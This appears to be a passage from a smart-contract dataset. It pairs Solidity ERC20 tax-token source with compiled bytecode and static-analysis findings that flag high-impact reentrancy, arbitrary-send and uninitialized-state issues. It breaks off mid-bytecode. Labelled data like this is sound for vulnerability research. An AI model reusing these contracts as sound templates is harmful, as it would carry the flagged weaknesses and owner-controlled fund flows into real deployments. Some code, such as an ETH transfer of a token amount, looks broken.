_tFeeTotal = _tFeeTotal.add(tFee).add(tBurn);
}
function _burnTokens(uint256 rBurn) private {
_deadAddress.transfer(rBurn);
}
receive() external payable {}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 burnFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount - tFee - tBurn - tTeam;
return (tTransferAmount, tFee, tBurn, tTeam);
}
function _getRValues(uint256 tAmount, uint256 rTotalFee, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTotalFee);
return (rAmount, rTransferAmount);
}
function _getRFees(uint256 tFee, uint256 tBurn, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTotalFee = rFee.add(rBurn).add(rTeam);
return (rFee, rTotalFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}// JavaScript source code
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c93eb86611610064578063c93eb8661461042c578063c9567bf914610441578063d543dbeb14610456578063dd62ed3e14610480578063f2fde38b146104bb5761012a565b80638da5cb5b1461035f57806395d89b4114610390578063a457c2d7146103a5578063a9059cbb146103de578063c3c8cd80146104175761012a565b806339509351116100e7578063395093511461029b5780635932ead1146102d45780636fc3eaec1461030257806370a0823114610317578063715018a61461034a5761012a565b806306fdde031461012f578063095ea7b3146101b957806318160ddd1461020657806323b872dd1461022d578063313ce567146102705761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104ee565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b506101f2600480360360408110156101dc57600080fd5b506001600160a01b038135169060200135610584565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b6105a2565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f26004803603606081101561025057600080fd5b506001600160a01b038135811691602081013590911690604001356105af565b34801561027c57600080fd5b50610285610636565b6040805160ff9092168252519081900360200190f35b3480156102a757600080fd5b506101f2600480360360408110156102be57600080fd5b506001600160a01b03813516906020013561063b565b3480156102e057600080fd5b50610300600480360360208110156102f757600080fd5b50351515610689565b005b34801561030e57600080fd5b506103006106ff565b34801561032357600080fd5b5061021b6004803603602081101561033a57600080fd5b50356001600160a01b0316610733565b34801561035657600080fd5b50610300610755565b34801561036b57600080fd5b506103746107f7565b604080516001600160a01b039092168252519081900360200190f35b34801561039c57600080fd5b50610144610806565b3480156103b157600080fd5b506101f2600480360360408110156103c857600080fd5b506001600160a01b038135169060200135610867565b3480156103ea57600080fd5b506101f26004803603604081101561040157600080fd5b506001600160a01b0381351690602001356108cf565b34801561042357600080fd5b506103006108e3565b34801561043857600080fd5b50610374610920565b34801561044d57600080fd5b50610300610944565b34801561046257600080fd5b506103006004803603602081101561047957600080fd5b5035610c26565b34801561048c57600080fd5b5061021b600480360360408110156104a357600080fd5b506001600160a01b0381358116916020013516610d2b565b3480156104c757600080fd5b50610300600480360360208110156104de57600080fd5b50356001600160a01b0316610d56565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057a5780601f1061054f5761010080835404028352916020019161057a565b820191906000526020600020905b81548152906001019060200180831161055d57829003601f168201915b5050505050905090565b6000610598610591610e4e565b8484610e52565b5060015b92915050565b683635c9adc5dea0000090565b60006105bc848484610f3e565b61062c846105c8610e4e565b61062785604051806060016040528060288152602001611ffd602891396001600160a01b038a16600090815260036020526040812090610606610e4e565b6001600160a01b031681526020810191909152604001600020549190611535565b610e52565b5060019392505050565b600990565b6000610598610648610e4e565b846106278560036000610659610e4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906115cc565b610691610e4e565b6000546001600160a01b039081169116146106e1576040805162461bcd60e51b81526020600482018190526024820152600080516020612025833981519152604482015290519081900360640190fd5b60158054911515600160c01b0260ff60c01b19909216919091179055565b6012546001600160a01b0316610713610e4e565b6001600160a01b03161461072657600080fd5b476107308161162d565b50565b6001600160a01b03811660009081526001602052604081205461059c906116b6565b61075d610e4e565b6000546001600160a01b039081169116146107ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612025833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057a5780601f1061054f5761010080835404028352916020019161057a565b6000610598610874610e4e565b84610627856040518060600160405280602581526020016120b7602591396003600061089e610e4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611535565b60006105986108dc610e4e565b8484610f3e565b6012546001600160a01b03166108f7610e4e565b6001600160a01b03161461090a57600080fd5b600061091530610733565b90506107308161170f565b7f000000000000000000000000000000000000000000000000000000000000dead81565b61094c610e4e565b6000546001600160a01b0390811691161461099c576040805162461bcd60e51b81526020600482018190526024820152600080516020612025833981519152604482015290519081900360640190fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811791829055906109e59030906001600160a01b0316683635c9adc5dea00000610e52565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a1e57600080fd5b505afa158015610a32573d6000803e3d6000fd5b505050506040513d6020811015610a4857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610a9857600080fd5b505afa158015610aac573d6000803e3d6000fd5b505050506040513d6020811015610ac257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b505160158054600160a01b600160a81b600160c01b600160b81b6001600160a01b03199094166001600160a01b039687161760ff60b81b19169390931760ff60c01b19169290921760ff60a81b19169190911760ff60a01b191617908190556729a2241af62c00006016556014546040805163095ea7b360e01b81529184166004830152600019602483015251919092169163095ea7b39160448083019260209291908290030181600087803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b505050565b610c2e610e4e565b6000546001600160a01b03908116911614610c7e576040805162461bcd60e51b81526020600482018190526024820152600080516020612025833981519152604482015290519081900360640190fd5b60008111610cd3576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610cf16064610ceb683635c9adc5dea00000846118dd565b90611936565b601681905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610d5e610e4e565b6000546001600160a01b03908116911614610dae576040805162461bcd60e51b81526020600482018190526024820152600080516020612025833981519152604482015290519081900360640190fd5b6001600160a01b038116610df35760405162461bcd60e51b8152600401808060200182810382526026815260200180611f946026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316610e975760405162461bcd60e51b81526004018080602001828103825260248152602001806120936024913960400191505060405180910390fd5b6001600160a01b038216610edc5760405162461bcd60e51b8152600401808060200182810382526022815260200180611fba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f835760405162461bcd60e51b815260040180806020018281038252602581526020018061206e6025913960400191505060405180910390fd5b6001600160a01b038216610fc85760405162461bcd60e51b8152600401808060200182810382526023815260200180611f476023913960400191505060405180910390fd5b600081116110075760405162461bcd60e51b81526004018080602001828103825260298152602001806120456029913960400191505060405180910390fd5b61100f6107f7565b6001600160a01b0316836001600160a01b03161415801561104957506110336107f7565b6001600160a01b0316826001600160a01b031614155b1561149c57601554600160c01b900460ff1615611143576001600160a01b038316301480159061108257506001600160a01b0382163014155b801561109c57506014546001600160a01b03848116911614155b80156110b657506014546001600160a01b03838116911614155b15611143576014546001600160a01b03166110cf610e4e565b6001600160a01b031614806110fe57506015546001600160a01b03166110f3610e4e565b6001600160a01b0316145b611143576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6001600160a01b0383166000908152600d602052604090205460ff1615801561118557506001600160a01b0382166000908152600d602052604090205460ff16155b61118e57600080fd5b6015546001600160a01b0384811691161480156111b957506014546001600160a01b03838116911614155b80156111de57506001600160a01b03821660009081526004602052604090205460ff16155b80156111f35750601554600160c01b900460ff165b1561126057601554600160a01b900460ff1661120e57600080fd5b60165481111561121d57600080fd5b6001600160a01b0382166000908152600e6020526040902054421161124157600080fd5b6001600160a01b0382166000908152600e60205260409020601e420190555b600061126b30610733565b601554909150600160b01b900460ff1615801561129657506015546001600160a01b03858116911614155b80156112ab5750601554600160b81b900460ff165b1561149a576015546112d990606490610ceb906003906112d3906001600160a01b0316610733565b906118dd565b82111580156112ea57506016548211155b6112f357600080fd5b6001600160a01b0384166000908152600f6020526040902054421161131757600080fd5b6001600160a01b03841660009081526010602052604090205442620151809091011015611358576001600160a01b0384166000908152601160205260408120555b6001600160a01b0384166000908152601160205260409020546113b7576001600160a01b038416600090815260116020908152604080832080546001019055601082528083204290819055600f909252909120601e909101905561145d565b6001600160a01b0384166000908152601160205260409020546001141561140c576001600160a01b038416600090815260116020908152604080832080546001019055600f9091529020601e4201905561145d565b6001600160a01b0384166000908152601160205260409020546001101561145d576001600160a01b038416600090815260116020908152604080832080546001019055600f9091529020601e420190555b6114668161170f565b478015611476576114764761162d565b6001600160a01b03851660009081526011602052604090205461149890611978565b505b505b6001600160a01b03831660009081526004602052604090205460019060ff16806114de57506001600160a01b03831660009081526004602052604090205460ff165b8061151a57507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316836001600160a01b0316145b15611523575060005b61152f8484848461199d565b50505050565b600081848411156115c45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611589578181015183820152602001611571565b50505050905090810190601f1680156115b65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611626576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6012546001600160a01b03166108fc611647836002611936565b6040518115909202916000818181858888f1935050505015801561166f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61168a836002611936565b6040518115909202916000818181858888f193505050501580156116b2573d6000803e3d6000fd5b5050565b60006008548211156116f95760405162461bcd60e51b815260040180806020018281038252602a815260200180611f6a602a913960400191505060405180910390fd5b60006117036119cf565b90506116268382611936565b6015805460ff60b01b1916600160b01b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061175057fe5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117a457600080fd5b505afa1580156117b8573d6000803e3d6000fd5b505050506040513d60208110156117ce57600080fd5b50518151829060019081106117df57fe5b6001600160a01b0392831660209182029290920101526014546118059130911684610e52565b60145460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561188b578181015183820152602001611873565b505050509050019650505050505050600060405180830381600087803b1580156118b457600080fd5b505af11580156118c8573d6000803e3d6000fd5b50506015805460ff60b01b1916905550505050565b6000826118ec5750600061059c565b828202828482816118f957fe5b04146116265760405162461bcd60e51b8152600401808060200182810382526021815260200180611fdc6021913960400191505060405180910390fd5b600061162683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119f2565b6001811115611995576006600a9081556004600b55600c55610730565b6107306119be565b806119aa576119aa611a57565b6119b5848484611a8f565b8061152f5761152f5b6003600a556002600b556005600c55565b60008060006119dc611bd2565b90925090506119eb8282611936565b9250505090565b60008183611a415760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611589578181015183820152602001611571565b506000838581611a4d57fe5b0495945050505050565b600a54158015611a675750600c54155b8015611a735750600b54155b15611a7d57611a8d565b6000600a819055600b819055600c555b565b600080600080611aa785600a54600b54600c54611d51565b93509350935093506000611ab96119cf565b9050600080611aca86868686611da9565b91509150600080611adc8a8487611dfc565b6001600160a01b038e166000908152600160205260409020549193509150611b049083611e26565b6001600160a01b03808e1660009081526001602052604080822093909355908d1681522054611b3390826115cc565b6001600160a01b038c16600090815260016020526040902055611b5586611e68565b6000611b6188876118dd565b9050611b6f858a838b611eb2565b611b7881611ef0565b8b6001600160a01b03168d6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c6040518082815260200191505060405180910390a350505050505050505050505050565b6008546000908190683635c9adc5dea00000825b600554811015611d1157826001600060058481548110611c0257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c675750816002600060058481548110611c4057fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c8557600854683635c9adc5dea0000094509450505050611d4d565b611cc56001600060058481548110611c9957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e26565b9250611d076002600060058481548110611cdb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e26565b9150600101611be6565b50600854611d2890683635c9adc5dea00000611936565b821015611d4757600854683635c9adc5dea00000935093505050611d4d565b90925090505b9091565b600080808080611d666064610ceb8b8b6118dd565b90506000611d796064610ceb8c8a6118dd565b90506000611d8c6064610ceb8d8c6118dd565b9a8390038290038b90039b929a9199509097509095505050505050565b60008080611db787856118dd565b90506000611dc587866118dd565b90506000611dd387876118dd565b90506000611deb82611de586866115cc565b906115cc565b939a93995092975050505050505050565b60008080611e0a86856118dd565b90506000611e188287611e26565b919791965090945050505050565b600061162683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611535565b6000611e726119cf565b90506000611e8083836118dd565b30600090815260016020526040902054909150611e9d90826115cc565b30600090815260016020526040902055505050565b611ed182611ecb86600854611e2690919063ffffffff16565b90611e26565b600855600954611ee7908290611de590866115cc565b60095550505050565b6040516001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead169082156108fc029083906000818181858888f193505050501580156116b2573d6000803e3d6000fdfe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122063e056a66daee0caa64548dacae529d0ba9bcdd50f03a35a6b88a961421b848064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,015 |
0x878Bf88296C6D21102A68ba1669d5A3F056d36B3
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/MonstersIncToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="MONSTER";
string constant TOKEN_NAME="Monster Inc";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Monster is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600b81526020017f4d6f6e7374657220496e63000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffff